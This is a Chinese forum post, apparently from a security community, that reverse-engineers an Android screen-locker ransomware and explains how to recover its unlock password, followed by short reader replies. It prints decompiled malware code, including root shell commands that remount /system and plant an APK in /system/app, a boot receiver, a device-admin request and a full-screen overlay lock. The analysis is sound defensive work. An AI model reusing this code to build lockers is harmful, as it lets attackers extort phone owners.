刚某帖提到的锁机软件分析
本帖最后由 世事繁华皆成空 于 2016-4-27 17:46 编辑下载app直接拖到jeb中,mainifest下找到启动类,启动类下找到oncreate函数
@Override protected void onCreate(Bundle arg10) {
c v0 = this;
LogCatBroadcaster.start(v0);
super.onCreate(arg10);
v0.setContentView(2130903040);
v0.b = v0.findViewById(2131099651);
v0.t = v0.findViewById(2131099648);
v0.b.setOnClickListener(new ButtonClickListener(v0));
v0.q = v0.findViewById(2131099649);
v0.w = v0.findViewById(2131099648);
v0.q.setOnClickListener(new ButtonClickListener(v0));
v0.a = v0.findViewById(2131099650);
v0.s = v0.findViewById(2131099648);
v0.a.setOnClickListener(new ButtonClickListener(v0));
v0.z = v0.findViewById(2131099652);
v0.c = v0.findViewById(2131099648);
v0.z.setOnClickListener(new ButtonClickListener(v0));
c v4 = v0;
try {
v4.d(new StringBuffer().append(v0.path).append("/zihao.l").toString());
}
catch(IOException v4_1) {
}
}
首先启动一个貌似是广播服务的东西,点进去发现并不是
public static synchronized void start(Context context) {
Context context2 = context;
synchronized (LogCatBroadcaster.class) {
if (!started) {
started = true;
if (VERSION.SDK_INT >= 16) {
if ((0 != (context2.getApplicationInfo().flags & 2) ? 1 : null) != null) {
try {
PackageInfo packageInfo = context2.getPackageManager().getPackageInfo("com.aide.ui", 128);
Thread thread = r10;
LogCatBroadcaster logCatBroadcaster = r10;
LogCatBroadcaster logCatBroadcaster2 = new LogCatBroadcaster(context2);
Thread thread2 = new Thread(logCatBroadcaster);
thread.start();
} catch (NameNotFoundException e) {
NameNotFoundException nameNotFoundException = e;
}
}
}
}
}
}
一个runnable接口,首先判断当前系统api是否高于16,也就是4.2,检测已安装程序中是否有com.aide.ui这个程序,不过没有做判断,而是直接启动一个线程,看看这个线程做了什么
public void run() {
LogCatBroadcaster logCatBroadcaster = this;
try {
BufferedReader bufferedReader = r11;
Reader reader = r11;
Reader inputStreamReader = new InputStreamReader(Runtime.getRuntime().exec("logcat -v threadtime").getInputStream());
BufferedReader bufferedReader2 = new BufferedReader(reader, 20);
BufferedReader bufferedReader3 = bufferedReader;
String str = "";
while (true) {
String readLine = bufferedReader3.readLine();
str = readLine;
if (readLine != null) {
Intent intent = r11;
Intent intent2 = new Intent();
Intent intent3 = intent;
intent = intent3.setPackage("com.aide.ui");
intent = intent3.setAction("com.aide.runtime.VIEW_LOGCAT_ENTRY");
String[] strArr = new String;
String[] strArr2 = strArr;
strArr = str;
intent = intent3.putExtra("lines", strArr2);
logCatBroadcaster.context.sendBroadcast(intent3);
} else {
return;
}
}
} catch (IOException e) {
IOException iOException = e;
}
}
获取当前线程信息,放入intent中,并发送一条指令,com.aide.runtime.VIEW_LOGCAT_ENTRY,目标包名即为上面的com.aide.ui,然后发送广播,很明显一个隐式启动
接下来
try {
StringBuffer stringBuffer = r8;
StringBuffer stringBuffer2 = new StringBuffer();
d(stringBuffer.append(r0.path).append("/zihao.l").toString());
} catch (IOException e) {
IOException iOException = e;
}
调用d方法,传入当前sd卡路径+zihao.l
看看d方法
private void d(String str) throws IOException {
OutputStream outputStream = r11;
OutputStream fileOutputStream = new FileOutputStream(str);
OutputStream outputStream2 = outputStream;
InputStream open = getAssets().open("ijm-x86.so");
byte[] bArr = new byte;
for (int read = open.read(bArr); read > 0; read = open.read(bArr)) {
outputStream2.write(bArr, 0, read);
}
outputStream2.flush();
open.close();
outputStream2.close();
}
d方法从assets中复制ijm-x86.so文件到sd卡中,名称即为刚刚的zihao.l,有点污,黑波爱加密
@Override
public void onClick(View view) {
View view2 = view;
b bVar = r6;
b bVar2 = new b();
bVar.rootShell();
boolean deleteFile = a.deleteFile(this.this$0.file);
}
点击事件,首先调用rootshell方法,字面上大概知道是获取root权限
void rootShell() {
b bVar = this;
String[] strArr = new String;
String[] strArr2 = strArr;
strArr = "mount -o rw,remount /system";
strArr = strArr2;
strArr2 = strArr;
strArr = "mount -o rw,remount /system/app";
strArr = strArr2;
strArr2 = strArr;
strArr = "cp /sdcard/zihao.l /system/app/";
strArr = strArr2;
strArr2 = strArr;
strArr = "chmod 777 /system/app/zihao.l";
strArr = strArr2;
strArr2 = strArr;
strArr = "mv /system/app/zihao.l /system/app/zihao.apk";
strArr = strArr2;
strArr2 = strArr;
strArr = "chmod 644 /system/app/zihao.apk";
strArr = strArr2;
strArr2 = strArr;
strArr = "reboot";
CommandResult execCommand = execCommand(strArr2, true);
}
执行了几条shell命令,挂载系统为可写,复制zihao.l到system文件夹下,更名为zihao.apk,并赋权限644,即常见的211权限,执行重启,执行时会判断是否具有root权限,不是的话则会提示申请,最后删除掉zihao.l文件
大概可以看出这个程序只是个外壳程序,主要任务就是复制其中的ijm-86文件到system下,这也是该木马的核心所在,也可以判断为何作品敢叫嚣双清无效,毕竟双清只是针对数据段,而不影响system
由上面的shell命令中我们知道了ijm-x86.so实质是一个apk文件,那也拖到jeb中分析
<activity android:label="@string/app_name" android:name=".M">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name="s" />
<receiver android:name="bbb">
<intent-filter android:priority="2147483647">
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
mainifest下可以看到程序有一个入口函数和一个监听开机启动的广播以及一个监听设备管理器被激活的广播
先看下入口函数又做了那些事
public void onCreate(Bundle bundle) {
Bundle bundle2 = bundle;
LogCatBroadcaster.start(this);
super.onCreate(bundle2);
String str = "a.apk";
File file = r14;
StringBuffer stringBuffer = r14;
StringBuffer stringBuffer2 = new StringBuffer();
File file2 = new File(stringBuffer.append("/sdcard/").append(str).toString());
File file3 = file;
try {
InputStream open = getAssets().open(str);
FileOutputStream fileOutputStream = r14;
FileOutputStream fileOutputStream2 = new FileOutputStream(file3);
FileOutputStream fileOutputStream3 = fileOutputStream;
int i = -1;
byte[] bArr = new byte;
while (true) {
int read = open.read(bArr);
i = read;
if (read == -1) {
break;
}
fileOutputStream3.write(bArr, 0, i);
}
fileOutputStream3.close();
open.close();
} catch (IOException e) {
e.printStackTrace();
}
try {
Runtime runtime = Runtime.getRuntime();
String[] strArr = new String;
String[] strArr2 = strArr;
strArr = "su";
strArr = strArr2;
strArr2 = strArr;
strArr = "-c";
strArr = strArr2;
strArr2 = strArr;
strArr = "mount -o remount rw /system\ncp -f /sdcard/a.apk /system/app/a.apk\nchmod 777 /system/app/a.apk";
Process exec = runtime.exec(strArr2);
} catch (IOException e2) {
IOException iOException = e2;
}
activiteDevice();
}
这个方法比较长,慢慢分析
首先又是启动了LogCatBroadcaster这个东西,看过之后发现跟之前的一样,就跳过了,之后读取assets下的a.apk文件,拷贝到sd卡下
strArr = "su";
strArr = strArr2;
strArr2 = strArr;
strArr = "-c";
strArr = strArr2;
strArr2 = strArr;
strArr = "mount -o remount rw /system\ncp -f /sdcard/a.apk /system/app/a.apk\nchmod 777 /system/app/a.apk";
Process exec = runtime.exec(strArr2);
调用su权限,挂载system,并将a.apk复制到system/app下,并附上最高777权限,之后调用activiteDevice()方法,跟踪一下
private void activiteDevice() {
Intent intent = r12;
Intent intent2 = new Intent("android.app.action.ADD_DEVICE_ADMIN");
Intent intent3 = intent;
ComponentName componentName = r6;
ComponentName componentName2 = componentName2;
try {
componentName2 = new ComponentName(this, Class.forName("com.h.MyAdmin"));
intent = intent3.putExtra("android.app.extra.DEVICE_ADMIN", componentName);
startActivityForResult(intent3, 0);
} catch (Throwable e) {
Throwable th = e;
NoClassDefFoundError noClassDefFoundError = r12;
NoClassDefFoundError noClassDefFoundError2 = new NoClassDefFoundError(th.getMessage());
throw noClassDefFoundError;
}
}
常见的,激活设备管理器的方法,不过不清楚的是,既然已经复制到系统文件夹下了,还要这玩意干嘛,这个入口类就这么多内容,看下开机启动广播那个类
@Override public void onReceive(Context arg15, Intent arg16) {
Class v9;
bbb v0 = this;
Context v1 = arg15;
if(arg16.getAction().equals("android.intent.action.BOOT_COMPLETED")) {
v0.abortBroadcast();
Intent v6 = null;
Intent v7 = null;
Context v8 = v1;
try {
v9 = Class.forName("com.h.s");
}
catch(ClassNotFoundException v6_1) {
throw new NoClassDefFoundError(v6_1.getMessage());
}
super(v8, v9);
v6.addFlags(268435456);
v1.startService(v6);
}
}
获取到com.h.s这个类,然后继承父类,并启动服务,
来到s类下
@Override
public void onCreate() {
super.onCreate();
this.pass = (long) (Math.random() * ((double) 100000000));
Long l = r11;
Long l2 = r11;
Long l3 = new Long(this.pass + ((long) 5));
this.passw = l;
DU du = r9;
DU du2 = new DU("cnmb");
this.des = du;
Service service = this;
try {
du = r9;
du2 = new DU(r0.des.decrypt("87622f67c5411a9a"));
service.des = du;
} catch (Exception e) {
Exception exception = e;
}
r0.share = getSharedPreferences("Flowers", 0);
r0.editor = r0.share.edit();
if (r0.share.getLong("m", (long) 0) == ((long) 0)) {
Editor putLong = r0.editor.putLong("m", r0.pass);
boolean commit = r0.editor.commit();
try {
du2 = r0.des;
StringBuffer stringBuffer = r9;
StringBuffer stringBuffer2 = new StringBuffer();
putLong = r0.editor.putString("passw", du2.encrypt(stringBuffer.append("").append(r0.passw).toString()));
commit = r0.editor.commit();
} catch (Exception e2) {
exception = e2;
}
if (is(getApplicationContext())) {
StringBuffer stringBuffer3 = r9;
StringBuffer stringBuffer4 = new StringBuffer();
r0.ppss = stringBuffer3.append(r0.share.getLong("m", (long) 8)).append("").toString();
try {
r0.password = r0.des.decrypt(r0.share.getString("passw", ""));
} catch (Exception e22) {
exception = e22;
}
AnonymousClass100000000 anonymousClass100000000 = r9;
AnonymousClass100000000 anonymousClass1000000002 = new Thread(r0) {
private final s this$0;
{
Thread thread = this;
this.this$0 = r6;
}
static s access$0(AnonymousClass100000000 anonymousClass100000000) {
return anonymousClass100000000.this$0;
}
public void run() {
}
};
anonymousClass100000000.start();
return;
}
try {
putLong = r0.editor.putLong("m", Long.parseLong(r0.des.decrypt("5a15e58cc8db8d1c700ecb6bb7b627a9")));
commit = r0.editor.commit();
putLong = r0.editor.putString("passw", "b6ac0b03fa9a48ac");
commit = r0.editor.commit();
} catch (Exception e222) {
exception = e222;
}
}
}
还是很长,那就先看onstart
@Override
public void onStart(Intent intent, int i) {
super.onStart(intent, i);
c();
}
private void c() {
LayoutParams layoutParams = r10;
LayoutParams layoutParams2 = new LayoutParams();
this.wmParams = layoutParams;
Application application = getApplication();
Application application2 = getApplication();
this.mWindowManager = (WindowManager) application.getSystemService(Context.WINDOW_SERVICE);
this.wmParams.type = 2010;
this.wmParams.format = 1;
this.wmParams.flags = 1280;
this.wmParams.gravity = 49;
this.wmParams.x = 0;
this.wmParams.y = 0;
this.wmParams.width = -1;
this.wmParams.height = -1;
this.mFloatLayout = LayoutInflater.from(getApplication()).inflate(R.layout.newone, (ViewGroup) null);
this.mWindowManager.addView(this.mFloatLayout, this.wmParams);
this.bt = (Button) this.mFloatLayout.findViewById(R.id.bt);
this.ed = (EditText) this.mFloatLayout.findViewById(R.id.ed);
this.tv = (TextView) this.mFloatLayout.findViewById(R.id.tv);
try {
this.ed.setHint("宝贝在这输入密码哦!");
r0.tv.append("序列号:25417538");
} catch (Exception e) {
Exception exception = e;
}
Button button = r0.bt;
AnonymousClass100000001 anonymousClass100000001 = r10;
AnonymousClass100000001 anonymousClass1000000012 = new OnClickListener(r0) {
private final s this$0;
{
AnonymousClass100000001 anonymousClass100000001 = this;
this.this$0 = r6;
}
static s access$0(AnonymousClass100000001 anonymousClass100000001) {
return anonymousClass100000001.this$0;
}
@Override
public void onClick(View view) {
View view2 = view;
try {
if (this.this$0.ed.getText().toString().equals(r0.this$0.des.decrypt(r0.this$0.share.getString("passw", "")))) {
r0.this$0.mWindowManager.removeView(r0.this$0.mFloatLayout);
r0.this$0.stopSelf();
}
} catch (Exception e) {
Exception exception = e;
}
}
};
button.setOnClickListener(anonymousClass100000001);
try {
TextView textView = r0.tv;
StringBuffer stringBuffer = r10;
StringBuffer stringBuffer2 = new StringBuffer();
stringBuffer2 = r10;
StringBuffer stringBuffer3 = new StringBuffer();
textView.append(stringBuffer.append(stringBuffer2.append("\n").append(r0.des.decrypt("54a4046cdce305064172f19f4a09ff4fe2f7c6a2b702c")).toString()).append(r0.share.getLong("m", (long) 0)).toString());
} catch (Exception e2) {
exception = e2;
}
}
start函数里调用的c方法,c方法就是核心锁机了,序列号是固定的,后面加上des解密的54a4046cdce305064172f19f4a09ff4fe2f7c6a2b702c,再加上share里的m值,根据sp中的密码来结束当前进程
再回到oncreate中,首先先随机一个9位以内的输(long) (Math.random() * ((double) 100000000)),之后加上5,然后调用DU方法,传入cnmb(草泥马比{:1_907:}),来到DU下
public DU(String arg9) {
DU v0 = this;
super();
v0.encryptCipher = null;
v0.decryptCipher = null;
DU v5 = v0;
String v6 = arg9;
try {
Key v2 = v5.getKey(v6.getBytes());
v0.encryptCipher = Cipher.getInstance("DES");
v0.encryptCipher.init(1, v2);
v0.decryptCipher = Cipher.getInstance("DES");
v0.decryptCipher.init(2, v2);
}
catch(Exception v5_1) {
v5_1.printStackTrace();
}
}
看来cnmb就是key了,之后去解密87622f67c5411a9a,解密时先转成16进制为
最终解密下来为“wocao”
有一段直接略过了,都差不多,
SP下主要就是记录了两条值,一条为m一个为passw,m直接存储前面的随机值,passw存储随机值+5然后用key des加密一下,
那到这里差不多就结束了
密码就是m标签的值+5
附上隐藏的最深的a.apk的解锁密码
作者逻辑不通啊,你让别人叫你,怎么解密密码并不是那两个字呢
总结:apk没什么技术难度,加密也不难,顺便吐槽下,代码风格太烂了,做为一个安卓码农,根本看不下去,没有mvp,没有rxjava,书写也是一团糟,辣鸡
多谢大牛分析 ps:终于前排了 好高深!牛 表示刚才那个装逼装的太纯熟了....刚看到...不知道从什么时候起 特别多小学生做锁机 骗钱... 最喜欢看大神,撕碎这些渣们 哈哈哈哈 学习了~{:1_921:} 前排 前排 学习了 不知作者看到结尾的点评有何感想。 太厉害了,学了一招,哈哈